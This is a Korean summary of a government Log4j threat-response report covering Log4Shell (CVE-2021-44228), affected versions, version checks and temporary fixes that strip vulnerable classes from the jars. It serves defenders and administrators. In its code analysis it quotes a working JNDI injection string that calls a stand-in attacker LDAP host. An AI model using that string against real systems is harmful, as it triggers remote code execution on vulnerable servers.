Log4j 위협 대응 보고서
- 과학기술정보통신부, 인터넷진흥원
1. 개요
Log4j
- Apache재단 무료 오픈소스 프로그램으로 자바 기반 모든 애플리케이션에서 사용 가능
- 공통 취약점 등급 시스템에서 10점만점에 10점 (Critical)
- 해당 취약점으로 시스템 관리자 권한 획득 가능
- 최초 발견 : 알리바바에서 11월 24일 최초 발견
- 최초 공격 : MS의 마인크래프트라는 게임
2. 취약점 발생 원인
1) Log4j 사용현황 :
- 아파치 스트럿츠(Apache Struts), 스프링(Spring) 등 각종 웹 프레임워크에서 로그 기록을 위해 사용하는 경우
- Adobe 및 VMWare 등 소프트웨어 약 5,500종이 영향
- 도커 및 쿠버네티스 등을 통해 컨테이너를 기반으로 운영 중인 다양한 서비스
2) 취약점
- CVE ID : CVE-2021-44228 (Log4Shell)
- 유형 : 원격코드실행
- 심각도 : Critical
- CVSS 점수 : 10점
- 영향버전 : 2.0-beta9 ~ 2.14.1 이하
(취약점이 해결된 버전(2.3.1, 2.12.2 및 2.12.3) 제외)
- Log4Shell 취약점 상세 : Log4j에서 구성, 로그 메시지 및 매개 변수에 사용되는 JNDI에서 발생하는 취약점. 공격자는 Lookup 기능을 악용하여 LDAP 서버에 로드된 임의의 코드를 실행할 수 있다.
* JNDI(Java Naming and Directory Interface) : Java 응용 프로그램이 필요한 자원 (데이터베이스 등) 및 실행에 필요한 다른 프로그램 정보를 찾을 수 있는 기능 제공
* Lookup : JNDI를 통해 찾은 자원을 사용하는 기능
- 코드 분석 :
logger.error("${jndi:ldap://attacker1.kr/Exploit}");
인자로 전달된 “ldap://attacker1.kr/Exploit”에 대한 검증 절차 없이 바로 lookup() 기능을 통해 접근을 시도하여 컨텍스트를 검색함으로써 공격자 LDAP 서버 (attacker1.kr)에 Exploit 엔티티를 요청하게 된다.
- 취약점 조치방법 ★
1) 버전 확인법
* Linux : log4j-core 버전확인
dpkg –l | grep log4j
find / -name ‘log4j*’
* 윈도우 : windows explorer에서 검색
* JAVE Spring Framework Maven : log4j 설치된 경로의 pom.xml 파일에서 log4j-core 검색
2) 최신 Log4j 버전
- JAVA8 이상 : 2.17.1이상
- JAVA7 : 2.12.4이상
- JAVA6 : 2.3.2 이상
log4j-core-*.jar 파일 없이 log4j-api-*.jar 파일만 사용하는 경우 위 취약점의 영향을 받지 않음
3) 업데이트 어려운 경우 임시조치 방법 : JndiLookup 클래스만 제거
명령어 예시(Log4shell, CVE-2021-44228)
zip –q –d log4j-core-*.jar org/apache/logging/log4j/core/lookup/ JndiLookup.class
참고) log4shell 이외 업데이트불가시 임시 조치방법
- CVE-2021-45105
· PatternLayout에서 ${ctx:loginId} 또는 $${ctx:loginId}를 (%X, %mdc, or %MDC)로 변경
· ${ctx:loginId} 또는 $${ctx:loginId}를 제거
- CVE-2022-23302
· JMSSink 클래스 파일 삭제
zip -q -d log4j-*.jar org/apache/log4j/net/JMSSink.class
- CVE-2022-23305
· Log4j 설정 파일에서 JDBCAppender 삭제
· JDBCAppender 클래스 파일 삭제
zip -q -d log4j-*.jar org/apache/log4j/jdbc/JDBCAppender.class
- CVE-2022-23307
· Chiansaw를 통해 직렬화 된 로그를 읽지 않도록 설정 (※ XMLSocketReceiver로 대체 가능)
· Chainsaw 관련 클래스 삭제
zip -q -d log4j-*.jar org/apache/log4j/chainsaw/*
3. 취약점 악용 방식 및 유형
4. 주요 이슈정리
1) 계속해서 취약점 발견과 업데이트
* 첫 취약점 이후 7개 더 추가
CVE-2022-23302 : ※ JMSSink를 사용하지 않는 경우 취약점 영향 없음
CVE-2022-23305 : ※ JDBCAppender를 사용하지 않는 경우 취약점 영향 없음
CVE-2022-23307 : ※ Chainsaw를 사용하지 않는 경우 취약점 영향 없음
2) 오픈소스 취약점 식별의 어려움
: 제품 내에 패키지 형태로 포함되는 프로그램에서 취약점이 발견될 경우 해당 프로그램 사용 여부를 상세히 파악하기가 쉽지 않다.
3) 내부 침투 확인이 어려움
: 패치 이전 내부망에 이미 침투되었는지 여부 확인이 필요
4) APT 공격 그룹에서 해당 취약점 사용
MS가 발견한 Log4j 취약점 공격 해킹그룹은 하프늄(Hafnium)
아쿠아틱판다(Aquatic Panda) 포스포러스(Phosphorus)
5. 보암담당자에게 필요한 노력
6. 전문가 기고
부록
1. Log4j 취약점 스캐너 배포 사이트
2. JNDI(Java Naming and Directory Interface)란?
3. 취약점 대응을 위한 참고 사이트
4. Log4Shell(CVE-2021-44228) 관련 취약한 소프트웨어
** 없는 부분 / 자세한 내용은 보고서를 보기 바랍이다.
보고서 출처 : https://www.boho.or.kr/data/reportView.do?bulletin_writing_sequence=36476
★ KISA 인터넷보호나라 Log4j관련 보안공지 :
Apache Log4j 보안 업데이트 권고(CVE-2021-45105, 44832, CVE-2022-23302, 23305, 23307) (Update. 22-1-21 17:00), https://www.boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=36397
KISA 배포 Log4j 취약점 관련 포스터